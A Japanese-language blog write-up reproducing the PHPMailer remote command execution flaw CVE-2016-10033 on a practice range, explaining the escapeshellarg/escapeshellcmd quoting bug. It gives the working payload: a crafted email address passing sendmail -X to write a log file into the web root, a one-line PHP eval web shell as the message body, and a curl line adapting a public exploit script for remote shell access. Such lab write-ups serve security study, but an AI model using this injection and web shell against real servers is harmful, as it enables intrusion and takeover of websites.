banner
肥皂的小屋

肥皂的小屋

github
steam
bilibili
douban
tg_channel

PHPMailerリモートコマンド実行の脆弱性再現

0x01 脆弱性の原理#

知識の整理、ターゲットの再現

脆弱性番号:CVE-2016-10033

影響範囲:PHPMailer バージョン < 5.2.18

PHPMailer の mail 関数は、メールの送信時にシステムの sendmail メソッドを使用しており、十分なフィルタリングがないため、ユーザーが攻撃コードを注入することができます。

PHPMailerコマンド実行の脆弱性(CVE-2016-10033)は、escapeshellargescapeshellcmdの 2 つの関数を組み合わせて使用することで、シングルクォートのエスケープが発生します。具体的な脆弱性の分析と悪用のプロセスは、合天網安のこの実験で行うことができますが、料金が 200 元必要です:

image

0x02 ターゲットの再現#

まず、墨者靶場を使用して再現します

ページを開くと、英語のウェブサイトが表示され、ページの下部にメールのリンクがあります:

image

リンクをクリックすると、メール送信画面が表示されます;

image

Exp:

メールアドレスを作成します

"attacker\" -oQ/tmp -X/var/www/html/shell.php soapffz"@gmail.com

メッセージ:

<?php @eval($_POST[a]);?>

image

sendmail -Xパラメータを使用すると、ログを指定のファイルに書き込むことができます。送信後、ページがフリーズしますが、心配しないでください、一行のシェルが既に書き込まれています

image

AntSword を使用して接続します:

image

keyを取得します

0x03 rce-exp#

expアドレスをダウンロードし、リモートターゲットで次のコマンドを実行してテストします:

./exploit host:port

ローカルでのテストは次のようになります:

./exploit localhost:8080

デフォルトのexphostportの 2 つのパラメータしか提供されていませんが、この問題ではmail.phpディレクトリもありますので、簡単に修正することができます:

次の行を追加するだけです

curl -sq 'http://'$host -H 'Content-Type:

対応するディレクトリを追加します:

curl -sq 'http://'$host/mail.php -H 'Content-Type:

image

リモートシェルを正常に取得しました。権限はwww-dataユーザーです

0x04 権限昇格の試み#

まだです。。

本文終わり。

参考記事:

読み込み中...
文章は、創作者によって署名され、ブロックチェーンに安全に保存されています。